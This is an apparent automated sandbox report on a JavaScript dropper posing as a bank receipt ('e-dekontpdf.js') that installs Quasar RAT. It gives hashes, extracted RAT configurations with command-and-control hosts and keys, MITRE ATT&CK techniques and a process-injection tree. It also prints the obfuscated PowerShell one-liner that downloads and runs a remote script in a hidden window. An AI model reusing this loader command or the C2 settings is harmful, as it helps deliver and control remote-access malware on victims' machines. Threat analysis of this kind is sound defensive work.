quasar | 509c2a5b7f12d2a67bfb9b697581fc9718c6ceba0575cc9e8490284fe4bdd6ce

Analysis

max time kernel
149s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/06/2026, 15:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e-dekontpdf.js
Size 68KB
Sample260626-sds6nsct21
SHA256 509c2a5b7f12d2a67bfb9b697581fc9718c6ceba0575cc9e8490284fe4bdd6ce
MD5 f8de917e3675dd44f4efbc6ed02e984a
SHA1 7fcc39fefb05e24fb241c2a37ae6f08fde069656
SHA512 941e7c47757ed942c9d46eb01ceb3ae784bedc83c94dcb9c097591be4bf1444c64a29a7ea579be01aafae04bef229a983efcfda2c5d50dbcaf6449f4832c5c4f
SSDEEP 1536:IiJUwTWvh1ThiK4iqJ19mKwyQzfTu17RXuH+:IiJUwTWvh1ThiK4iqkfby7Me
TLSH
T12863FF6123C1F812218F2FA3FB1BF5F5E72A7D9530442C4BE1687DDC566A90ACAA4C71
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

micro newbypassed discovery execution quasar spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.0

Botnet

NewBypassed

91.192.100.36:8084

Mutex

9ce44fed-2881-4998-80a9-a8059346d6d7

Attributes

encryption_key
F2F10A25F4D0D0543F5520C8C8BAC500DA1B1AC1
install_name
Client.exe
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
Logs
reconnect_delay
3000
startup_key
Mirsoft Update
subdirectory
Mirsoft

Extracted

Family

quasar

Version

1.4.0

Botnet

Micro

babayagadead.duckdns.org:1933

Mutex

69059989-4d50-45f8-b299-3d7635455c52

Attributes

encryption_key
E1E0263C65C57BAA0955A3EA0636BB8240539AF2
install_name
ChromeServiceUpgrade.exe
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
Logsssss
reconnect_delay
3000
startup_key
ChromeServiceUpgrade
subdirectory
ChromeServiceUpgrade

Signatures

Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2884	1256	powershell.exe	88

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/memory/3972-40-0x0000000000400000-0x0000000000484000-memory.dmp	family_quasar
behavioral2/memory/2644-62-0x0000000000400000-0x0000000000484000-memory.dmp	family_quasar

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	2884	powershell.exe
7	4352	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2884	powershell.exe
4352	powershell.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org
12	api.ipify.org
15	api.ipify.org

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4352 set thread context of 3972	4352	powershell.exe	96
PID 2884 set thread context of 2644	2884	powershell.exe	102

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2884	powershell.exe
2884	powershell.exe
4352	powershell.exe
4352	powershell.exe
2884	powershell.exe
2884	powershell.exe
2884	powershell.exe
2884	powershell.exe
2884	powershell.exe
2884	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2884	powershell.exe
Token: SeDebugPrivilege	4352	powershell.exe
Token: SeDebugPrivilege	3972	CasPol.exe
Token: SeDebugPrivilege	2644	MSBuild.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2884 wrote to memory of 4352	2884	powershell.exe	92
PID 4352 wrote to memory of 1388	4352	powershell.exe	94
PID 1388 wrote to memory of 1268	1388	csc.exe	95
PID 4352 wrote to memory of 3972	4352	powershell.exe	96
PID 4352 wrote to memory of 3972	4352	powershell.exe	96
PID 4352 wrote to memory of 3972	4352	powershell.exe	96
PID 4352 wrote to memory of 3972	4352	powershell.exe	96
PID 4352 wrote to memory of 3972	4352	powershell.exe	96
PID 2884 wrote to memory of 4284	2884	powershell.exe	97
PID 4284 wrote to memory of 4772	4284	csc.exe	98
PID 2884 wrote to memory of 5680	2884	powershell.exe	99
PID 2884 wrote to memory of 4164	2884	powershell.exe	100
PID 2884 wrote to memory of 4860	2884	powershell.exe	101
PID 2884 wrote to memory of 2644	2884	powershell.exe	102
PID 2884 wrote to memory of 2644	2884	powershell.exe	102
PID 2884 wrote to memory of 2644	2884	powershell.exe	102
PID 2884 wrote to memory of 2644	2884	powershell.exe	102
PID 2884 wrote to memory of 2644	2884	powershell.exe	102

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\e-dekontpdf.js
1⤵
PID:3144

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -nop -w hidden -ep bypass -c "$iex=[char]73+[char]69+[char]88;$irm='Inv'+'oke-Rest'+'Method';& $iex (& $irm 'https://babayagareborn.net/blackhole/nod32/iexkisalt.txt')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\szucmjm2.ps1"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4352
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2h2hqi3x\2h2hqi3x.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1388
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES188F.tmp" "c:\Users\Admin\AppData\Local\Temp\2h2hqi3x\CSCAB65DD91A5814C57BACD74B0E995F1E1.TMP"
      4⤵
      PID:1268
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3972
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qqugibq1\qqugibq1.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4284
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES27E1.tmp" "c:\Users\Admin\AppData\Local\Temp\qqugibq1\CSC76480F48CA374B5B9AC3474492396B.TMP"
    3⤵
    PID:4772
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  PID:5680
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  PID:4164
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  PID:4860
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:2644

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f5556321ad12df3296ded2b7f6317e8f12f266be69e9b8db87a2b46caa5228f9
MD5 ec961ddfc3cd7509e0b41a0174ff4952
SHA1 58df3e5ac96f6bbe9d11e90f1e87c5cf301d9f90
SHA512 5ef37b491b15aa4e64bf3354914f641bdb43618e281cbfaf57dadc46b8043b3b13bfac83c0eea42e2c5466d3b4fcfd9e4c8096e5924c60087fd21ee74bd2b0a6
TLSH
T16F218B37F3CC8614DC8A403A52CDAC1036B687DBC0DEDE9B7B84D545B42F699DE69160
MD5 SHA1 SHA512 TLSH

Submit Download

2h2hqi3x.dll

Path C:\Users\Admin\AppData\Local\Temp\2h2hqi3x\2h2hqi3x.dll
Size 4KB
SHA256 eb6590b7e78840650c6e1930e959cb6142dab258003e365cd3c5844b21df8bb0
MD5 a9c8384c0086b3e2bd458765e02d875e
SHA1 bfb7828db610fd79dcdf79a03cc06409215323f8
SHA512 752f010026c97d888989900b735e30da2410c81092a99c2bf3f83c6d4c0a4e5c3b592415e03381cc0dde43849462e7076cfca8c6a4d44f7c4b02fc75b885783d
SSDEEP 48:6YNAVU8o2//MoLEP6swPzXVVqXiJAUopTtkJxMZK1ulZa31q:ZWou/ePIPzXVMJKGFrK
TLSH
T18291420763E80FA7F0FB47385CB3C72626B0F9E59B624B1E4B9842252C692500931FB0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES188F.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES188F.tmp
Size 1KB
SHA256 7cc7439757dd782e3f05f900d4ce21b4ca7c12290c2760eb0639bcbcae8d86bb
MD5 c934c8961cad4bbceadb391e61bd9d25
SHA1 d36069d3cdade9872384546e619d61bf723ffdaa
SHA512 42d6a86c53a2e50d92de7b62c15b79e598ef3a5c9888f4f0b209c3d67b0b2be2c0e2ea58ec8fa1799dc9101afc75b4dcc610d5263ac2c3cc0b6f20e82e2ab272
TLSH
T13F21CE0953F9471BF0B7573169F6176BE264FE69EFB1976B848442282C41600EEB0FB2
MD5 SHA1 SHA512 TLSH

Submit Download

RES27E1.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES27E1.tmp
Size 1KB
SHA256 ab7c9ef780f4e008dba0b8a7c53f5b4674a5ac95cfaa4205d687c1a8a65599f0
MD5 93fdb3f799da9dd0c4f647cbb080fe99
SHA1 f3800aeae0f44329fb159d9175c941791ed07aab
SHA512 fa0085bce389c21fd7f4eaacecea0576f5809521756dc46d57f72ae7e2e7cede6d0aa0484165bd9cf106640e74cc3b39a1d1410887e95cddb4cf18fa237115c8
TLSH
T1BE21AF0553EC875FF0734B31A9FA172FA365FE64EFA1979A448402292C51504DEA0F72
MD5 SHA1 SHA512 TLSH

Submit Download

qqugibq1.dll

Path C:\Users\Admin\AppData\Local\Temp\qqugibq1\qqugibq1.dll
Size 4KB
SHA256 0b77a5f0163c6bd9abf1c52e8d0e5c0524465b23d073874e57af01fbd46fc247
MD5 7569786803f618d0c33585e2f98778d8
SHA1 4444fb36f4bdc99949afa05d32fb62dd467e8a21
SHA512 fd36dbaa6651c13b1f26b870785a3887fb774d5d0f7f2126ab7fceb885a224fccb168d7fb6261a9afd2860ad0f790b5c21fdb948f2b41af1175e845e44c2287d
SSDEEP 48:68NAVU8o2//MoLEP6swPzVVVqXiJnRwTtkJxtZK1ul7a3nq:dWou/ePIPzVVMzKfFJK
TLSH
T13E912F0667E80FABF0FB0B345DF3C75B27B4F5E59B62875E4B9842252C692500921FA0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

szucmjm2.ps1

Path C:\Users\Admin\AppData\Roaming\szucmjm2.ps1
Size 1KB
SHA256 25dd129a4822566f38545a37e1120533266fa1a9b895f8605f5b9364744da42c
MD5 0afe00aa7694327af29efafc15336b82
SHA1 ac623da18f3dbbb71364b29b7a8c212e20b46f91
SHA512 2745163030cf536120768c8e6d601b8523bf50e805524b406dbfa148b3dd1ebfa477753a9a75f8b60e01600caf2cf71d156ef7fa2c083f21da87e22bb1bb5dbe
TLSH
T14F31B7172DBBDEB62041059BBF0E9B591E58A439F2B2C0CFCB5AD9E335290C4C008AD2
MD5 SHA1 SHA512 TLSH

Submit Download

2h2hqi3x.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\2h2hqi3x\2h2hqi3x.0.cs
Size 1KB
SHA256 1682c6e1fab37ea0b97334ccd22dd8687acee96913b774c31af67f3af5af0cea
MD5 c0d230ecbd28ca5f4e7afc2e2edeb53c
SHA1 5d21ff9711800da48e641dd4fb45feb726bd329e
SHA512 af742ebf278a8b6f631314f20f72db364017d88823f2db2680b12a3a3a32061813cb513664a2afb15b1158fdcace770ae90847b97e4880d84236552dea9c95cb
TLSH
T12C21CB540691AE922CD3211C9AD285DAF16780370FBE5D00FDBE36525FDE124D8F968E
MD5 SHA1 SHA512 TLSH

Submit Download

2h2hqi3x.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\2h2hqi3x\2h2hqi3x.cmdline
Size 369B
SHA256 2e95fe43912b376353a36aec0f2e04d9f041094319dd26e7dd6c4dcd10f956f7
MD5 ce6b8f1dfed6fc931808b982247997d5
SHA1 f98b3980f8346bf9137327b24d5ec1a60dae2c80
SHA512 8213ed0120d00673eb8227f4cf57881055de5fb97d77fa21681df74c5d940321e0604f39613509349f84d53bc3f78a4edf6b526b2655244b32f97bdeb48a5400
TLSH
T10EE0682A438AC67D92DB200F21B9C9ECA2F2064B79403F845050881EF45780067E1765
MD5 SHA1 SHA512 TLSH

Submit Download

CSCAB65DD91A5814C57BACD74B0E995F1E1.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\2h2hqi3x\CSCAB65DD91A5814C57BACD74B0E995F1E1.TMP
Size 652B
SHA256 e00e25f72699d6d525dc0b6d04e6eb05af30993da877c991a99a9abafc91d8da
MD5 bf4b67fb56f3d856a8cefc164f5b42a6
SHA1 161cd4a46654493802312523383615f684032bba
SHA512 14c3a438999f30aff2917e1d74a078c40cbcb35aaa2f500690626f28924757fb759bb4b23849e58f9ec64b59fa1b00088d9d4491a1dad8b35416f8eff4af51a0
TLSH
T141F05E0963F8420EF0F38B30BDF6436391A8BDA5DF3297ED5484532928645209972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

CSC76480F48CA374B5B9AC3474492396B.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\qqugibq1\CSC76480F48CA374B5B9AC3474492396B.TMP
Size 652B
SHA256 162e53f88b78fe3eb63b73570e3dcff6f4e02d904f6aa6a1de69a2bb546b9845
MD5 566d6e2ad6fe815f72586040f7cb0f15
SHA1 80765620b92ed3b72901d3a8fd75bd8a021a0e51
SHA512 379973c3aea9df13e5dc1ce50c53c086561f44f95f450a823cd3c21cfbebd712fd21afde4040843d168af6ebc1e2d48158c35047a7e9c91dfd81d5e1b46a6eb0
TLSH
T1C0F05E0963F8920EF0F34F30FDF693A792A9BD65DE3293ED1444435928645109A62FB2
MD5 SHA1 SHA512 TLSH

Submit Download

qqugibq1.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\qqugibq1\qqugibq1.cmdline
Size 369B
SHA256 21f0a56ab6df2e600212998524bab428fc35eda5cdf751ea88748fba47a89a40
MD5 47031a1acb3e2225720d72dd248848e6
SHA1 524625fd341668eac036826f055216915514778a
SHA512 706e158cde7037fccac0e0d4d9b91481fcf60eee51a78f9abca83f364a790837edd67078c30b0d8989c9d6ba1a7fdd72028d60d7b3ff9a31c223ba4f013025a5
TLSH
T18AE0D8BA5296C67E15F9104F227FC9ACC3720647EA417FC45191445EF31740467D1759
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1388-35-0x0000012EB6620000-0x0000012EB6FC4000-memory.dmp

Download

memory/2644-62-0x0000000000400000-0x0000000000484000-memory.dmp

Download

memory/2884-14-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

Download

memory/2884-71-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

Download

memory/2884-15-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

Download

memory/2884-24-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

Download

memory/2884-25-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

Download

memory/2884-5-0x0000022541B50000-0x0000022541B72000-memory.dmp

Download

memory/2884-0-0x00007FFF35D2F000-0x00007FFF35D30000-memory.dmp

Download

memory/2884-13-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

Download

memory/2884-12-0x000002255A150000-0x000002255A312000-memory.dmp

Download

memory/2884-16-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

Download

memory/2884-11-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

Download

memory/2884-10-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

Download

memory/2884-9-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

Download

memory/2884-2-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

Download

memory/2884-6-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

Download

memory/2884-7-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

Download

memory/2884-8-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

Download

memory/2884-61-0x000002255A3C0000-0x000002255A3C8000-memory.dmp

Download

memory/2884-1-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

Download

memory/3972-45-0x0000000005B00000-0x00000000060BA000-memory.dmp

Download

memory/3972-46-0x00000000055F0000-0x0000000005682000-memory.dmp

Download

memory/3972-47-0x00000000055B0000-0x00000000055BA000-memory.dmp

Download

memory/3972-65-0x00000000070E0000-0x00000000076F8000-memory.dmp

Download

memory/3972-66-0x0000000005A20000-0x0000000005A70000-memory.dmp

Download

memory/3972-67-0x0000000006C50000-0x0000000006D02000-memory.dmp

Download

memory/3972-40-0x0000000000400000-0x0000000000484000-memory.dmp

Download

memory/3972-72-0x0000000008320000-0x0000000008386000-memory.dmp

Download

memory/4284-59-0x000002A8BD5D0000-0x000002A8BDF74000-memory.dmp

Download

memory/4352-37-0x0000021062DD0000-0x0000021062DD8000-memory.dmp

Download

memory/4352-43-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

Download

memory/4352-44-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

Download

memory/4352-42-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

Download

memory/4352-39-0x0000021062E10000-0x0000021062E20000-memory.dmp

Download

memory/4352-68-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

Download

memory/4352-38-0x0000021062E00000-0x0000021062E0C000-memory.dmp

Download

memory/4352-26-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

Download